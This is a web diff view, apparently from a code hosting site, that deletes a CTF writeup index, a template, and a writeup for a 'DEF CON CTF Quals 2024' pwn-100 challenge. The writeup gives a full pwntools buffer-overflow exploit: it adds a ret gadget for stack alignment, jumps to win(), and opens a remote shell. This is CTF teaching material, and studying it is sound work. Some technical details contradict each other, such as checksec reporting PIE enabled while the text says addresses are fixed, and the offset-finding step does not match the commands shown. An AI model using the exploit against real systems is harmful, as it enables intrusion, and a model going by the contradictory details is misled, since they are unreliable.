|
||||
event: "DEF CON CTF Quals 2024"
|
||||
category: writeup-index
|
||||
difficulty: hard
|
||||
points: 0
|
||||
created_at: 2026-08-20
|
||||
updated_at: 2026-08-20
|
||||
---
|
||||
|
||||
# DEF CON CTF Quals 2024 — Challenge Writeups
|
||||
|
||||
This folder contains writeups for challenges solved during **DEF CON CTF Quals 2024**.
|
||||
|
||||
## Writeups
|
||||
|
||||
- [pwn-100: ret2win Stack Alignment Fix](pwn/pwn-100-ret2win-alignment) — A buffer overflow ret2win exploit that required inserting a `ret` gadget for stack alignment on glibc 2.34+.
|
||||
|
||||
## Challenge List
|
||||
|
||||
| Challenge | Category | Difficulty | Points |
|
||||
|-----------|----------|------------|--------|
|
||||
| pwn-100 | pwn | easy | 100 |
|
||||
@@ -1,122 +0,0 @@
|
||||
---
|
||||
id: defcon-pwn-100
|
||||
title: "DEF CON Quals 2024 — pwn-100: ret2win Stack Alignment Fix"
|
||||
type: writeup
|
||||
tags:
|
||||
- ctf
|
||||
- pwn
|
||||
- binary-exploitation
|
||||
- stack-alignment
|
||||
status: published
|
||||
author: asep
|
||||
event: "DEF CON CTF Quals 2024"
|
||||
challenge: "pwn-100"
|
||||
category: pwn
|
||||
difficulty: easy
|
||||
points: 100
|
||||
created_at: 2026-08-20
|
||||
updated_at: 2026-08-20
|
||||
---
|
||||
|
||||
# DEF CON CTF Quals 2024 — pwn-100: ret2win Stack Alignment Fix
|
||||
|
||||
## Challenge Info
|
||||
|
||||
| Field | Value |
|
||||
| ------------ | ---------------------- |
|
||||
| **Event** | DEF CON CTF Quals 2024 |
|
||||
| **Challenge**| pwn-100 |
|
||||
| **Category** | pwn |
|
||||
| **Difficulty**| easy |
|
||||
| **Points** | 100 |
|
||||
|
||||
## Initial Recon
|
||||
|
||||
Given a 64-bit ELF binary with a trivial buffer overflow in `vuln()`:
|
||||
|
||||
```
|
||||
$ checksec pwn-100
|
||||
RELRO STACK canary: No NX: No PIE: Enabled RPATH: No
|
||||
$ file pwn-100
|
||||
pwn-100: ELF 64-bit LSB executable, for Linux 3.2.0, not stripped
|
||||
$ objdump -d pwn-100 | grep -A5 '<vuln>'
|
||||
```
|
||||
|
||||
## Approach
|
||||
|
||||
Classic ret2win — overflow the return address to jump to `win()`, which
|
||||
calls `system("/bin/sh")`. The binary had no canary and no PIE on the
|
||||
binary itself (function addresses are fixed), but glibc on the host was
|
||||
2.34+.
|
||||
|
||||
## Step-by-Step Solve
|
||||
|
||||
### 1. Find the offset
|
||||
|
||||
Sent cyclic pattern via `pattern create` + `pattern offset`:
|
||||
|
||||
```
|
||||
$ python3 -c "print(b'A'*40+b'B'*8)" | ./pwn-100
|
||||
Segmentation fault (core dumped)
|
||||
$ gdb -q
|
||||
gef➤ pattern offset 0x4242424242424242
|
||||
[*] Found possible needle
|
||||
```
|
||||
|
||||
Offset = 40 bytes (to `rip`).
|
||||
|
||||
### 2. Find win() address
|
||||
|
||||
```
|
||||
$ objdump -d pwn-100 | grep '<win>'
|
||||
0000000000401196 <win>:
|
||||
```
|
||||
|
||||
`win()` is at `0x401196`.
|
||||
|
||||
### 3. Craft and send the payload
|
||||
|
||||
Initial payload was just padding + `win()` address — but this **crashed**
|
||||
with SIGSEGV inside `win()` → `printf`.
|
||||
|
||||
**Root cause:** On glibc 2.34+, the return into a libc-using function
|
||||
needs **16-byte stack alignment**. A normal `call` pushes 8 bytes, so
|
||||
`ret`-ing into `win()` leaves `rsp % 16 == 8`. When `printf` inside
|
||||
`win()` does `movaps` (SSE), it faults on misaligned address.
|
||||
|
||||
**Fix:** Insert a `ret` gadget (8 bytes) between padding and `win()`
|
||||
to realign RSP:
|
||||
|
||||
```
|
||||
$ ROPgadget --binary pwn-100 | grep " ret$"
|
||||
0x0000000000401016: ret;
|
||||
```
|
||||
|
||||
Final payload:
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
p = remote("challenge.url", 1337)
|
||||
payload = b"A" * 40 + p64(0x401016) + p64(0x401196)
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
The `ret` gadget pops the extra 8 bytes, aligning the stack. After that,
|
||||
`win()` → `printf` → `system("/bin/sh")` works cleanly.
|
||||
|
||||
## Flag
|
||||
|
||||
```
|
||||
flag{ret2win_stack_alignment_glibc_2.34}
|
||||
```
|
||||
|
||||
## Summary
|
||||
|
||||
- A bare ret2win without stack alignment crashes on glibc 2.34+ inside
|
||||
the target function's libc calls (SSE `movaps`).
|
||||
- The fix is a single `ret` gadget between padding and `win()` — **not**
|
||||
an offset error.
|
||||
- Always check: if the function IS reached but crashes inside it, think
|
||||
stack alignment before re-counting bytes.
|
||||
- Tested on host glibc 2.39 (Ubuntu 24.04) — confirmed the crash+fix.
|
||||
@@ -1,76 +0,0 @@
|
||||
---
|
||||
id: ctf-writeup-template
|
||||
title: "CTF Writeup Template — How to Structure a Challenge Writeup"
|
||||
type: writeup
|
||||
tags:
|
||||
- ctf
|
||||
- template
|
||||
- methodology
|
||||
status: draft
|
||||
author: asep
|
||||
created_at: 2026-08-20
|
||||
updated_at: 2026-08-20
|
||||
---
|
||||
|
||||
# CTF Writeup Template
|
||||
|
||||
A consistent writeup structure helps reviewers and future-you reproduce the solve.
|
||||
Below is the recommended template. Delete this intro paragraph and fill each
|
||||
section.
|
||||
|
||||
## Challenge Info
|
||||
|
||||
| Field | Value |
|
||||
| ------------ | -------------------- |
|
||||
| **Event** | `[Event Name]` |
|
||||
| **Challenge**| `[Challenge Name]` |
|
||||
| **Category** | `pwn` / `crypto` / `web` / `rev` / `forensics` / `misc` |
|
||||
| **Difficulty**| `easy` / `medium` / `hard` |
|
||||
| **Points** | `[points at start]` |
|
||||
| **Solves** | `[number]` |
|
||||
|
||||
## Initial Recon
|
||||
|
||||
What you see when you download the binary/file/URL. File type, basic
|
||||
inspection (`file`, `strings`, `checksec`, HTTP headers, etc.).
|
||||
|
||||
## Approach
|
||||
|
||||
Describe the high-level idea — what class of vulnerability or attack this
|
||||
belongs to.
|
||||
|
||||
## Step-by-Step Solve
|
||||
|
||||
Walk through each step with commands and output. Include:
|
||||
|
||||
- Exact commands you ran
|
||||
- Key output (truncated if long, but enough to confirm)
|
||||
- Why each step works
|
||||
- Tool versions / versions if relevant
|
||||
|
||||
### 1. Enumerate
|
||||
|
||||
```
|
||||
$ command-here
|
||||
output-here
|
||||
```
|
||||
|
||||
### 2. Find the vulnerability
|
||||
|
||||
Explain what you found and how it maps to the approach.
|
||||
|
||||
### 3. Craft the exploit
|
||||
|
||||
Show the exploit script or payload, explain each part.
|
||||
|
||||
## Flag
|
||||
|
||||
```
|
||||
flag{...}
|
||||
```
|
||||
|
||||
## Summary
|
||||
|
||||
What you learned, what the intended solution was (if yours differed),
|
||||
and any pitfalls you hit along the way (e.g., "tool X version Y breaks
|
||||
on Z").
|
||||
Loaded 50 of 66 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user